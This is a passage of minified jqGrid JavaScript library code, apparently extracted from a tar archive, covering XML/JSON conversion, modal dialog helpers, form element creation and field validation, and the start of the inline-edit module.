o&&o.constructor==Array?t[t.length]=f(e,o):t[t.length]=("object"==typeof o?s:u)(e,o)}return t.length||(t[0]="<"+e+">__EMPTY_ARRAY_</"+e+">\n"),t.join("")},s=function(e,n){var t,r,o=[],i=[];for(t in n)n.hasOwnProperty(t)&&(r=n[t],t.charAt(0)!==d.attr_prefix?null==r?o[o.length]="<"+t+" />":"object"==typeof r&&r.constructor===Array?o[o.length]=f(t,r):o[o.length]=("object"==typeof r?s:u)(t,r):i[i.length]=" "+t.substring(1)+'="'+(d.encode?l.encode(r):r)+'"');var c=i.join(""),a=o.join("");return a=null!=e?0<o.length?a.match(/\n/)?"<"+e+c+">\n"+a+"</"+e+">\n":"<"+e+c+">"+a+"</"+e+">\n":"<"+e+c+" />\n":a},n=s(null,e);return d.xmlDecl+n},xmlToJSON:function(e,n){var d=a.extend({force_array:[],attr_prefix:"-"},n||{});if(e){var o={};if(d.force_array)for(var t=0;t<d.force_array.length;t++)o[d.force_array[t]]=1;(e="string"==typeof e?a.parseXML(e):e).documentElement&&(e=e.documentElement);var r,l=function(e,n,t,r){if("string"==typeof r)if(-1!==r.indexOf("function"))r=a.jgrid.runCode(r);else switch(r){case"__EMPTY_ARRAY_":r=[];break;case"__EMPTY_STRING_":r="";break;case"false":r=!1;break;case"true":r=!0}o[n]?(1===t&&(e[n]=[]),e[n][e[n].length]=r):1===t?e[n]=r:2===t?e[n]=[e[n],r]:e[n][e[n].length]=r},u=function(e){if(7!==e.nodeType){if(3===e.nodeType||4===e.nodeType)return null==e.nodeValue.match(/[^\x00-\x20]/)?void 0:e.nodeValue;var n,t,r,o={};if(e.attributes&&e.attributes.length)for(n={},c=0;c<e.attributes.length;c++)"string"==typeof(t=e.attributes[c].nodeName)&&(r=e.attributes[c].nodeValue)&&(void 0===o[t=d.attr_prefix+t]&&(o[t]=0),o[t]++,l(n,t,o[t],r));if(e.childNodes&&e.childNodes.length){for(var i=n?!1:!0,c=0;c<e.childNodes.length&&i;c++){var a=e.childNodes[c].nodeType;3!==a&&4!==a&&(i=!1)}if(i)for(n=n||"",c=0;c<e.childNodes.length;c++)n+=e.childNodes[c].nodeValue;else for(n=n||{},c=0;c<e.childNodes.length;c++)"string"==typeof(t=e.childNodes[c].nodeName)&&(r=u(e.childNodes[c]))&&(void 0===o[t]&&(o[t]=0),o[t]++,l(n,t,o[t],r))}return n}},n=u(e);return o[e.nodeName]&&(n=[n]),11!==e.nodeType&&((r={})[e.nodeName]=n,n=r),n}},saveAs:function(e,n,t){t=a.extend(!0,{type:"plain/text;charset=utf-8"},t||{});var r,o,i,c=[];n=null==n||""===n?"jqGridFile.txt":n,Array.isArray(e)?c=e:c[0]=e;try{r=new File(c,n,t)}catch(e){r=new Blob(c,t)}window.navigator&&window.navigator.msSaveOrOpenBlob?window.navigator.msSaveOrOpenBlob(r,n):(o=URL.createObjectURL(r),(i=document.createElement("a")).href=o,i.download=n,document.body.appendChild(i),i.click(),setTimeout(function(){document.body.removeChild(i),window.URL.revokeObjectURL(o)},0))},csvToArray:function(e,n){void 0===n&&(n=",");for(var t,r,o=[],i=[],c={},a=0,d=0,l=new RegExp("(\\"+n+'|\\r?\\n|\\r|^)(?:"([^"]*(?:""[^"]*)*)"|([^"\\'+n+"\\r\\n]*))","gi");t=l.exec(e);){var u=t[1];u.length&&u!==n&&(d++,c={},a=0),u=t[2]?t[2].replace(new RegExp('""',"g"),'"'):t[3],0===d?(o.push(u),r=o.length):(c[o[a]]=u,a===r-1?i.push(c):a++)}return i}})});minified/grid.common.js000064400000046701151677266200011126 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base","./jqModal","./jqDnR"],e):e(jQuery)}(function(y){"use strict";y.extend(y.jgrid,{showModal:function(e){e.w.show()},closeModal:function(e){e.w.hide().attr("aria-hidden","true"),e.o&&e.o.remove()},hideModal:function(e,t){var i,a,o=!(!(t=y.extend({jqm:!0,gb:"",removemodal:!1,formprop:!1,form:""},t||{})).gb||"string"!=typeof t.gb||"#gbox_"!==t.gb.slice(0,6))&&y("#"+t.gb.slice(6))[0];if(t.onClose){var r=o?t.onClose.call(o,e):t.onClose(e);if("boolean"==typeof r&&!r)return}if(t.formprop&&o&&t.form&&("edit"===t.form?(i="#"+y.jgrid.jqID("FrmGrid_"+t.gb.slice(6)),a="formProp"):"view"===t.form&&(i="#"+y.jgrid.jqID("ViewGrid_"+t.gb.slice(6)),a="viewProp"),y(o).data(a,{top:y.jgrid.floatNum(y(e).css("top")),left:y.jgrid.floatNum(y(e).css("left")),width:y.jgrid.floatNum(y(e)[0].style.width),height:y.jgrid.floatNum(y(e)[0].style.height),dataheight:y(i).height(),datawidth:y(i).width()})),y.fn.jqm&&!0===t.jqm)y(e).attr("aria-hidden","true").jqmHide();else{if(""!==t.gb)try{y(t.gb).find(".jqgrid-overlay").first().hide()}catch(e){}try{y(".jqgrid-overlay-modal").hide()}catch(e){}y(e).hide().attr("aria-hidden","true")}t.removemodal&&y(e).remove()},findPos:function(e){e=y(e).offset();return[e.left,e.top]},createModal:function(i,e,a,t,o,r,l){a=y.extend(!0,{},y.jgrid.jqModal||{},a);var n=this,d="rtl"===y(a.gbox).attr("dir"),s=y.jgrid.styleUI[a.styleUI||"jQueryUI"].modal,u=y.jgrid.styleUI[a.styleUI||"jQueryUI"].common,c=document.createElement("div"),m=(l=y.extend({},l||{}),c.className="ui-jqdialog "+s.modal,c.id=i.themodal,document.createElement("div")),f=(m.className="ui-jqdialog-titlebar "+s.header,m.id=i.modalhead,y(m).append("<span class='ui-jqdialog-title "+s.title+"'>"+a.caption+"</span>"),y("<a class='ui-jqdialog-titlebar-close "+u.cornerall+"' aria-label='Close'></a>").hover(function(){f.addClass(u.hover)},function(){f.removeClass(u.hover)}).append("<span class='"+u.icon_base+" "+s.icon_close+"'></span>")),g=(y(m).append(f),d?(c.dir="rtl",y(".ui-jqdialog-title",m).css("float","right"),y(".ui-jqdialog-titlebar-close",m).css("left","0.3em")):(c.dir="ltr",y(".ui-jqdialog-title",m).css("float","left"),y(".ui-jqdialog-titlebar-close",m).css("right","0.3em")),document.createElement("div")),e=(y(g).addClass("ui-jqdialog-content "+s.content).attr("id",i.modalcontent),y(g).append(e),c.appendChild(g),y(c).prepend(m),!0===r?y("body").append(c):"string"==typeof r?y(r).append(c):y(c).insertBefore(t),y(c).css(l),void 0===a.jqModal&&(a.jqModal=!0),{});if(y.fn.jqm&&!0===a.jqModal?(0===a.left&&0===a.top&&a.overlay&&(g=[],g=y.jgrid.findPos(o),a.left=g[0]+4,a.top=g[1]+4,d)&&!r&&(a.left=y(a.gbox).outerWidth()-(isNaN(a.width)?300:parseInt(a.width,10))),e.top=a.top+"px",e.left=a.left+"px"):0===a.left&&0===a.top||(e.left=a.left+"px",e.top=a.top+"px"),y("a.ui-jqdialog-titlebar-close",m).click(function(){var e=y("#"+y.jgrid.jqID(i.themodal)).data("onClose")||a.onClose,t=y("#"+y.jgrid.jqID(i.themodal)).data("gbox")||a.gbox;return n.hideModal("#"+y.jgrid.jqID(i.themodal),{gb:t,jqm:a.jqModal,onClose:e,removemodal:a.removemodal||!1,formprop:!a.recreateForm||!1,form:a.form||""}),!1}),0!==a.width&&a.width||(a.width=300),0!==a.height&&a.height||(a.height=200),a.zIndex||(l=y(t).parents("*[role=dialog]").first().css("z-index"),a.zIndex=l?parseInt(l,10)+2:950),y(c).css(y.extend({width:isNaN(a.width)?"auto":a.width+"px",height:isNaN(a.height)?"auto":a.height+"px",zIndex:a.zIndex,overflow:"hidden"},e)).attr({tabIndex:"-1",role:"dialog","aria-labelledby":i.modalhead,"aria-hidden":"true"}),void 0===a.drag&&(a.drag=!0),void 0===a.resize&&(a.resize=!0),a.drag)if(y(m).css("cursor","move"),y.fn.tinyDraggable)y(c).tinyDraggable({handle:"#"+y.jgrid.jqID(m.id)});else try{y(c).draggable({handle:y("#"+y.jgrid.jqID(m.id))})}catch(e){}if(a.resize)if(y.fn.jqResize)y(c).append("<div class='jqResize "+s.resizable+" "+u.icon_base+" "+s.icon_resizable+"'></div>"),y("#"+y.jgrid.jqID(i.themodal)).jqResize(".jqResize",!!i.scrollelm&&"#"+y.jgrid.jqID(i.scrollelm));else try{y(c).resizable({handles:"se, sw",alsoResize:!!i.scrollelm&&"#"+y.jgrid.jqID(i.scrollelm)})}catch(e){}!0===a.closeOnEscape&&y(c).keydown(function(e){27===e.which&&(e=y("#"+y.jgrid.jqID(i.themodal)).data("onClose")||a.onClose,n.hideModal("#"+y.jgrid.jqID(i.themodal),{gb:a.gbox,jqm:a.jqModal,onClose:e,removemodal:a.removemodal||!1,formprop:!a.recreateForm||!1,form:a.form||""}))})},viewModal:function(e,t){var i="";if((t=y.extend({toTop:!0,overlay:10,modal:!1,overlayClass:"ui-widget-overlay",onShow:y.jgrid.showModal,onHide:y.jgrid.closeModal,gbox:"",jqm:!0,jqM:!0},t||{})).gbox){var a=y("#"+t.gbox.substring(6))[0];try{i=y(a).jqGrid("getStyleUI",a.p.styleUI+".common","overlay",!1,"jqgrid-overlay-modal"),t.overlayClass=y(a).jqGrid("getStyleUI",a.p.styleUI+".common","overlay",!0)}catch(e){}}if(void 0===t.focusField&&(t.focusField=0),"number"==typeof t.focusField&&0<=t.focusField?t.focusField=parseInt(t.focusField,10):"boolean"!=typeof t.focusField||t.focusField?t.focusField=0:t.focusField=!1,y.fn.jqm&&!0===t.jqm)(t.jqM?y(e).attr("aria-hidden","false").jqm(t):y(e).attr("aria-hidden","false")).jqmShow();else if(""!==t.gbox&&(a=parseInt(y(e).css("z-index"))-1,t.modal?(y(".jqgrid-overlay-modal")[0]||y("body").prepend("<div "+i+"></div>"),y(".jqgrid-overlay-modal").css("z-index",a).show()):(y(t.gbox).find(".jqgrid-overlay").first().css("z-index",a).show(),y(e).data("gbox",t.gbox))),y(e).show().attr("aria-hidden","false"),0<=t.focusField)try{y(":input:visible",e)[t.focusField].focus()}catch(e){}},info_dialog:function(e,t,i,a){var o,r={width:350,height:"auto",dataheight:"auto",drag:!0,resize:!1,left:window.innerWidth/2-145,top:window.innerHeight/2-150,zIndex:1e3,jqModal:!0,modal:!1,closeOnEscape:!0,align:"center",buttonalign:"center",buttons:[],overlay:10,overlayClass:""},l=(y.extend(!0,r,y.jgrid.jqModal||{},{caption:"<b>"+e+"</b>"},a||{}),r.jqModal),n=this,e=y.jgrid.styleUI[r.styleUI||y.jgrid.defaults.styleUI||"jQueryUI"].modal,d=y.jgrid.styleUI[r.styleUI||y.jgrid.defaults.styleUI||"jQueryUI"].common,s=(r.overlayClass||(r.overlayClass=d.overlay),y.fn.jqm&&!l&&(l=!1),"");if(0<r.buttons.length)for(o=0;o<r.buttons.length;o++)void 0===r.buttons[o].id&&(r.buttons[o].id="info_button_"+o),s+="<a id='"+r.buttons[o].id+"' class='fm-button "+d.button+"'>"+r.buttons[o].text+"</a>";var a=isNaN(r.dataheight)?r.dataheight:r.dataheight+"px",u="text-align:"+r.align+";",c="<div id='info_id'>",c=(c+="<div id='infocnt' class='"+e.body+"' style='margin:0px;padding-bottom:1em;width:100%;overflow:auto;position:relative;height:"+a+";"+u+"'>"+t+"</div>")+(i?"<div class='"+e.footer+"' style='text-align:"+r.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'><a id='closedialog' class='fm-button "+d.button+"'>"+i+"</a>"+s+"</div>":""!==s?"<div class='"+e.footer+"' style='text-align:"+r.buttonalign+";padding-bottom:0.8em;padding-top:0.5em;background-image: none;border-width: 1px 0 0 0;'>"+s+"</div>":"")+"</div>";try{"false"===y("#info_dialog").attr("aria-hidden")&&y.jgrid.hideModal("#info_dialog",{jqm:l}),y("#info_dialog").remove()}catch(e){}a=y(".ui-jqgrid").css("font-size")||"11px";y.jgrid.createModal({themodal:"info_dialog",modalhead:"info_head",modalcontent:"info_content",scrollelm:"infocnt"},c,r,"","",!0,{"font-size":a}),s&&y.each(r.buttons,function(e){y("#"+y.jgrid.jqID(this.id),"#info_id").on("click",function(){return r.buttons[e].onClick.call(y("#info_dialog")),!1})}),y("#closedialog","#info_id").on("click",function(){return n.hideModal("#info_dialog",{jqm:l,onClose:y("#info_dialog").data("onClose")||r.onClose,gb:y("#info_dialog").data("gbox")||r.gbox}),!1}),y(".fm-button","#info_dialog").hover(function(){y(this).addClass(d.hover)},function(){y(this).removeClass(d.hover)}),y.jgrid.isFunction(r.beforeOpen)&&r.beforeOpen(),y.jgrid.viewModal("#info_dialog",{onHide:function(e){e.w.hide().remove(),e.o&&e.o.remove()},modal:r.modal,jqm:l,overlay:r.overlay,overlayClass:r.overlayClass}),y.jgrid.isFunction(r.afterOpen)&&r.afterOpen();try{y("#info_dialog").focus()}catch(e){}},bindEv:function(e,i){y.jgrid.isFunction(i.dataInit)&&i.dataInit.call(this,e,i),i.dataEvents&&y.each(i.dataEvents,function(){var t=this.fn;void 0!==this.data?y(e).on(this.type,this.data,function(e){t.call(this,e,i)}):y(e).on(this.type,function(e){t.call(this,e,i)})})},createEl:function(e,t,i,a,o){var r="",c=this;function m(i,e,t){var a=(a=["dataInit","dataEvents","dataUrl","buildSelect","sopt","searchhidden","defaultValue","attr","custom_element","custom_value","oper"]).concat(["cacheUrlData","delimiter","separator"]);void 0!==t&&Array.isArray(t)&&y.merge(a,t),y.each(e,function(e,t){-1===y.inArray(e,a)&&y(i).attr(e,t)}),e.hasOwnProperty("id")||y(i).attr("id",y.jgrid.randId())}switch(e){case"textarea":r=document.createElement("textarea"),a?t.cols||y(r).css({width:"98%"}):t.cols||(t.cols=20),t.rows||(t.rows=2),(" "===i||" "===i||1===i.length&&160===i.charCodeAt(0))&&(i=""),r.value=i,y(r).attr({role:"textbox",multiline:"true"}),m(r,t);break;case"checkbox":(r=document.createElement("input")).type="checkbox",t.value?(i===(s=t.value.split(":"))[0]&&(r.checked=!0,r.defaultChecked=!0),r.value=s[0],y(r).attr("offval",s[1])):((s=(i+"").toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0&&""!==s?(r.checked=!0,r.defaultChecked=!0,r.value=i):r.value="on",y(r).attr("offval","off")),y(r).attr("role","checkbox"),m(r,t,["value"]);break;case"select":(r=document.createElement("select")).setAttribute("role","listbox");var l,n,d=[];if(!0===t.multiple?(l=!0,r.multiple="multiple",y(r).attr("aria-multiselectable","true")):l=!1,null!=t.dataUrl){var s=null,f=t.postData||o.postData;try{s=t.rowId}catch(e){}c.p&&c.p.idPrefix&&(s=y.jgrid.stripPref(c.p.idPrefix,s)),y.ajax(y.extend({url:y.jgrid.isFunction(t.dataUrl)?t.dataUrl.call(c,s,i,String(t.name)):t.dataUrl,type:"GET",dataType:"html",data:y.jgrid.isFunction(f)?f.call(c,s,i,String(t.name)):f,context:{elem:r,options:t,vl:i},success:function(e){var t,i,a=[],o=this.elem,r=this.vl,l=y.extend({},this.options),n=!0===l.multiple,d=!0===l.cacheUrlData,s="",u=[],e=y.jgrid.isFunction(l.buildSelect)?l.buildSelect.call(c,e):e;(e="string"==typeof e?y(y.jgrid.trim(e)).html():e)&&(y(o).append(e),m(o,l,f?["postData"]:void 0),void 0===l.size&&(l.size=n?3:1),n?(e=void 0===l.multiseparator?",":l.multiseparator,a=r.split(e),a=y.map(a,function(e){return y.jgrid.trim(e)})):a[0]=y.jgrid.trim(r),y("option",o).each(function(e){t=y(this).text(),r=y(this).val(),d&&(s+=(0!==e?";":"")+r+":"+t),0===e&&o.multiple&&(this.selected=!1),y(this).attr("role","option"),(-1<y.inArray(y.jgrid.trim(t),a)||-1<y.inArray(y.jgrid.trim(r),a))&&(this.selected="selected",u.push(r))}),l.hasOwnProperty("checkUpdate")&&l.checkUpdate&&(c.p.savedData[l.name]=u.join(",")),d&&("edit"===l.oper?y(c).jqGrid("setColProp",l.name,{editoptions:{buildSelect:null,dataUrl:null,value:s}}):"search"===l.oper?y(c).jqGrid("setColProp",l.name,{searchoptions:{dataUrl:null,value:s}}):"filter"===l.oper&&y("#fbox_"+c.p.id)[0].p&&(n=y("#fbox_"+c.p.id)[0].p.columns,y.each(n,function(e){if(i=this.index||this.name,l.name===i)return this.searchoptions.dataUrl=null,this.searchoptions.value=s,!1}))),y(c).triggerHandler("jqGridAddEditAfterSelectUrlComplete",[o]))}},o||{}))}else if(t.value){void 0===t.size&&(t.size=l?3:1),l&&(d=i.split(","),d=y.map(d,function(e){return y.jgrid.trim(e)})),"function"==typeof t.value&&(t.value=t.value.call(c,i,t));var u,g,p,h,j,v,b=void 0===t.separator?":":t.separator,s=void 0===t.delimiter?";":t.delimiter;if("string"==typeof t.value)for(u=t.value.split(s),n=0;n<u.length;n++)2<(g=u[n].split(b)).length&&(g[1]=y.map(g,function(e,t){if(0<t)return e}).join(b)),(p=document.createElement("option")).setAttribute("role","option"),p.value=g[0],p.innerHTML=g[1],0==g[1].length&&p.setAttribute("aria-label","none"),r.appendChild(p),l||y.jgrid.trim(g[0])!==y.jgrid.trim(i)&&y.jgrid.trim(g[1])!==y.jgrid.trim(i)||(p.selected="selected"),l&&(-1<y.inArray(y.jgrid.trim(g[1]),d)||-1<y.inArray(y.jgrid.trim(g[0]),d))&&(p.selected="selected");else if("[object Array]"===Object.prototype.toString.call(t.value))for(h=t.value,n=0;n<h.length;n++)2===h[n].length&&(j=h[n][0],v=h[n][1],(p=document.createElement("option")).setAttribute("role","option"),p.value=j,0==(p.innerHTML=v).length&&p.setAttribute("aria-label","none"),r.appendChild(p),l||y.jgrid.trim(j)!==y.jgrid.trim(i)&&y.jgrid.trim(v)!==y.jgrid.trim(i)||(p.selected="selected"),l)&&(-1<y.inArray(y.jgrid.trim(v),d)||-1<y.inArray(y.jgrid.trim(j),d))&&(p.selected="selected");else if("object"==typeof t.value)for(j in h=t.value)h.hasOwnProperty(j)&&((p=document.createElement("option")).setAttribute("role","option"),p.value=j,p.innerHTML=h[j],0==h[j].length&&p.setAttribute("aria-label","none"),r.appendChild(p),l||y.jgrid.trim(j)!==y.jgrid.trim(i)&&y.jgrid.trim(h[j])!==y.jgrid.trim(i)||(p.selected="selected"),l)&&(-1<y.inArray(y.jgrid.trim(h[j]),d)||-1<y.inArray(y.jgrid.trim(j),d))&&(p.selected="selected");m(r,t,["value"])}else m(r,t);break;case"image":case"file":(r=document.createElement("input")).type=e,m(r,t);break;case"custom":r=document.createElement("span");try{if(!y.jgrid.isFunction(t.custom_element))throw"e1";var F=t.custom_element.call(c,i,t);if(!F)throw"e2";F=y(F).addClass("customelement").attr({id:t.id,name:t.name}),y(r).empty().append(F)}catch(e){s=y.jgrid.getRegional(c,"errors"),F=y.jgrid.getRegional(c,"edit");"e1"===e?y.jgrid.info_dialog(s.errcap,"function 'custom_element' "+F.msg.nodefined,F.bClose,{styleUI:c.p.styleUI}):"e2"===e?y.jgrid.info_dialog(s.errcap,"function 'custom_element' "+F.msg.novalue,F.bClose,{styleUI:c.p.styleUI}):y.jgrid.info_dialog(s.errcap,"string"==typeof e?e:e.message,F.bClose,{styleUI:c.p.styleUI})}break;default:s="button"===e?"button":"textbox";(r=document.createElement("input")).type=e,r.value=i,"button"!==e&&(a?t.size||y(r).css({width:"96%"}):t.size||(t.size=20)),y(r).attr("role",s),m(r,t)}return r},checkDate:function(e,t){var i={},a=-1!==(e=e.toLowerCase()).indexOf("/")?"/":-1!==e.indexOf("-")?"-":-1!==e.indexOf(".")?".":"/";if(e=e.split(a),3!==(t=t.split(a)).length)return!1;for(var o=-1,r=-1,l=-1,n=0;n<e.length;n++){var d=isNaN(t[n])?0:parseInt(t[n],10);i[e[n]]=d,-1!==(s=e[n]).indexOf("y")&&(o=n),-1!==s.indexOf("m")&&(l=n),-1!==s.indexOf("d")&&(r=n)}var s="y"===e[o]||"yyyy"===e[o]?4:"yy"===e[o]?2:-1;return-1!==o&&(a=i[e[o]].toString(),2===s&&1===a.length&&(s=1),a.length===s)&&(0!==i[e[o]]||"00"===t[o])&&-1!==l&&!(i[e[l]].toString().length<1||i[e[l]]<1||12<i[e[l]]||-1===r||i[e[r]].toString().length<1||i[e[r]]<1||31<i[e[r]]||2===i[e[l]]&&i[e[r]]>((a=i[e[o]])%4!=0||a%100==0&&a%400!=0?28:29)||i[e[r]]>[0,31,29,31,30,31,30,31,31,30,31,30,31][i[e[l]]])},isEmpty:function(e){return!(void 0!==e&&!e.match(/^\s+$/)&&""!==e)},checkTime:function(e){if(!y.jgrid.isEmpty(e)){if(!(e=e.match(/^(\d{1,2}):(\d{2})([apAP][Mm])?$/)))return!1;if(e[3]){if(e[1]<1||12<e[1])return!1}else if(23<e[1])return!1;if(59<e[2])return!1}return!0},checkValues:function(e,t,i,a){function o(e){var t,i;return!(2<=(e=e.toString()).length&&("-"===e[0]?(t=e[1],e[2]&&(i=e[2])):(t=e[0],e[1]&&(i=e[1])),"0"===t)&&"."!==i)&&"number"==typeof Number(e)&&isFinite(e)}var r,l,n,d,s,u=this,c=u.p.colModel,m=y.jgrid.getRegional(this,"edit.msg");if(void 0===i)if("string"==typeof t){for(l=0,s=c.length;l<s;l++)if(c[l].name===t){r=c[l].editrules,null!=c[t=l].formoptions&&(n=c[l].formoptions.label);break}}else 0<=t&&(r=c[t].editrules);else r=i,n=void 0===a?"_":a;if(r){if(n=n||(null!=u.p.colNames?u.p.colNames[t]:c[t].label),!0===r.required&&y.jgrid.isEmpty(e))return[!1,n+": "+m.required,""];i=!1!==r.required;if(!0===r.number&&!(!1==i&&y.jgrid.isEmpty(e)||o(e)))return[!1,n+": "+m.number,""];if(void 0!==r.minValue&&!isNaN(r.minValue)&&y.jgrid.floatNum(e)<y.jgrid.floatNum(r.minValue))return[!1,n+": "+m.minValue+" "+r.minValue,""];if(void 0!==r.maxValue&&!isNaN(r.maxValue)&&y.jgrid.floatNum(e)>y.jgrid.floatNum(r.maxValue))return[!1,n+": "+m.maxValue+" "+r.maxValue,""];if(!0===r.email&&!(!1==i&&y.jgrid.isEmpty(e)||/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i.test(e)))return[!1,n+": "+m.email,""];if(!0===r.integer&&(!1!=i||!y.jgrid.isEmpty(e))){if(!o(e))return[!1,n+": "+m.integer,""];if(e%1!=0||-1!==e.indexOf("."))return[!1,n+": "+m.integer,""]}if(!0===r.date&&!(!1==i&&y.jgrid.isEmpty(e)||(c[t].formatoptions&&c[t].formatoptions.newformat?(d=c[t].formatoptions.newformat,(a=y.jgrid.getRegional(u,"formatter.date.masks"))&&a.hasOwnProperty(d)&&(d=a[d])):d=c[t].datefmt||"Y-m-d",y.jgrid.checkDate(d,e))))return[!1,n+": "+m.date+" - "+d,""];if(!0===r.time&&!(!1==i&&y.jgrid.isEmpty(e)||y.jgrid.checkTime(e)))return[!1,n+": "+m.date+" - hh:mm (am/pm)",""];if(!0===r.url&&!(!1==i&&y.jgrid.isEmpty(e)||/^(((https?)|(ftp)):\/\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i.test(e)))return[!1,n+": "+m.url,""];if(!0===r.custom)if(!1!=i||!y.jgrid.isEmpty(e))return y.jgrid.isFunction(r.custom_func)?(a=r.custom_func.call(u,e,n,t),Array.isArray(a)?a:[!1,m.customarray,""]):[!1,m.customfcheck,""]}return[!0,"",""]},validateForm:function(e){for(var t,i=!0,a=0;a<e.elements.length;a++)if(("INPUT"===(t=e.elements[a]).nodeName||"TEXTAREA"===t.nodeName||"SELECT"===t.nodeName)&&(void 0!==t.willValidate?("INPUT"===t.nodeName&&t.type!==t.getAttribute("type")&&t.setCustomValidity(y.jgrid.LegacyValidation(t)?"":"error"),t.reportValidity()):(t.validity=t.validity||{},t.validity.valid=y.jgrid.LegacyValidation(t)),!t.validity.valid)){i=!1;break}return i},LegacyValidation:function(e){var t=!0,i=e.value,a=e.getAttribute("type"),a="checkbox"===a||"radio"===a,o=e.getAttribute("required"),r=e.getAttribute("minlength"),l=e.getAttribute("maxlength"),n=e.getAttribute("pattern");return e.disabled||(t=(t=t&&(!o||a&&e.checked||!a&&""!==i))&&(a||(!r||i.length>=r)&&(!l||i.length<=l)))&&n&&(t=(n=new RegExp(n)).test(i)),t},buildButtons:function(e,i,a){var o;return y.each(e,function(e,t){t.id||(t.id=y.jgrid.randId()),t.position||(t.position="last"),t.side||(t.side="left"),o=t.icon?" fm-button-icon-"+t.side+"'><span class='"+a.icon_base+" "+t.icon+"'></span>":"'>",o="<a data-index='"+e+"' id='"+t.id+"' class='fm-button "+a.button+o+t.text+"</a>","last"===t.position?i+=o:i=o+i}),i},setSelNavIndex:function(i,a){var e=y(".ui-pg-button",i.p.pager);y.each(e,function(e,t){if(a===t)return i.p.navIndex=e,!1}),y(a).attr("tabindex","0")},getFirstVisibleCol:function(e){for(var t=-1,i=0;i<e.p.colModel.length;i++)if(!0!==e.p.colModel[i].hidden){t=i;break}return t},getLastVisibleCol:function(e){for(var t=-1,i=e.p.colModel.length-1;0<=i;i--)if(!0!==e.p.colModel[i].hidden){t=i;break}return t},postForm:function(e,t,i){i=i||"post";var a,o,r=document.createElement("form");for(a in r.setAttribute("method",i),r.setAttribute("action",e),t)t.hasOwnProperty(a)&&((o=document.createElement("input")).setAttribute("type","hidden"),o.setAttribute("name",a),o.setAttribute("value",t[a]),r.appendChild(o));document.body.appendChild(r),r.submit(),r.parentNode.removeChild(r)}})});minified/grid.inlinedit.js000064400000041450151677266200011611 0ustar00!function(e){"use strict";"function"==typeof define&&define.amd?define(["jquery","./grid.base","./grid.common"],e):e(jQuery)}(function(C){"use strict";C.jgrid.inlineEdit=C.jgrid.inlineEdit||{},C.jgrid.extend({editRow:function(f,e,i,t,r,a,d,n,o){var p={},s=C.makeArray(arguments).slice(1),g=this[0];return"object"===C.jgrid.type(s[0])?p=s[0]:(void 0!==e&&(p.keys=e),C.jgrid.isFunction(i)&&(p.oneditfunc=i),C.jgrid.isFunction(t)&&(p.successfunc=t),void 0!==r&&(p.url=r),void 0!==a&&(p.extraparam=a),C.jgrid.isFunction(d)&&(p.aftersavefunc=d),C.jgrid.isFunction(n)&&(p.errorfunc=n),C.jgrid.isFunction(o)&&(p.afterrestorefunc=o)),p=C.extend(!0,{keys:!1,keyevent:"keydown",onEnter:null,onEscape:null,oneditfunc:null,successfunc:null,url:null,extraparam:{},aftersavefunc:null,errorfunc:null,afterrestorefunc:null,restoreAfterError:!0,mtype:"POST",focusField:!0,saveui:"enable",savetext:C.jgrid.getRegional(g,"defaults.savetext")},C.jgrid.inlineEdit,p),this.each(function(){var a,d,i,n,e,o=0,s=null,l={},c=C(this).jqGrid("getStyleUI",g.p.styleUI+".inlinedit","inputClass",!0),u=C(this).jqGrid("getStyleUI",g.p.styleUI+".inlinedit","selectClass",!0);g.grid&&!1!==(i=C(g).jqGrid("getInd",f,!0))&&(g.p.beforeAction=!0,(e=void 0===(e=C.jgrid.isFunction(p.beforeEditRow)?p.beforeEditRow.call(g,p,f):void 0)?!0:e)?"0"!==(C(i).attr("editable")||"0")||C(i).hasClass("not-editable-row")||(n=g.p.colModel,C(i).children('td[role="gridcell"]').each(function(i){a=n[i].name;var e,t,r=!0===g.p.treeGrid&&a===g.p.ExpandColumn;if(r)d=C(this).find("span").first().html();else try{d=C.unformat.call(g,this,{rowId:f,colModel:n[i]},i)}catch(e){d=n[i].edittype&&"textarea"===n[i].edittype?C(this).text():C(this).html()}"cb"!==a&&"subgrid"!==a&&"rn"!==a&&"sc"!==a&&(g.p.autoencode&&(d=C.jgrid.htmlDecode(d)),!0===n[i].editable)&&(l[a]=d,null===s&&(s=i),(r?C(this).find("span").first():C(this)).html(""),e=C.extend({},n[i].editoptions||{},{id:f+"_"+a,name:a,rowId:f,oper:"edit",module:"inline"}),n[i].edittype||(n[i].edittype="text"),(" "===d||" "===d||null!==d&&1===d.length&&160===d.charCodeAt(0))&&(d=""),t=C.jgrid.createEl.call(g,n[i].edittype,e,d,!0,C.extend({},C.jgrid.ajaxOptions,g.p.ajaxSelectOptions||{})),C(t).addClass("editable 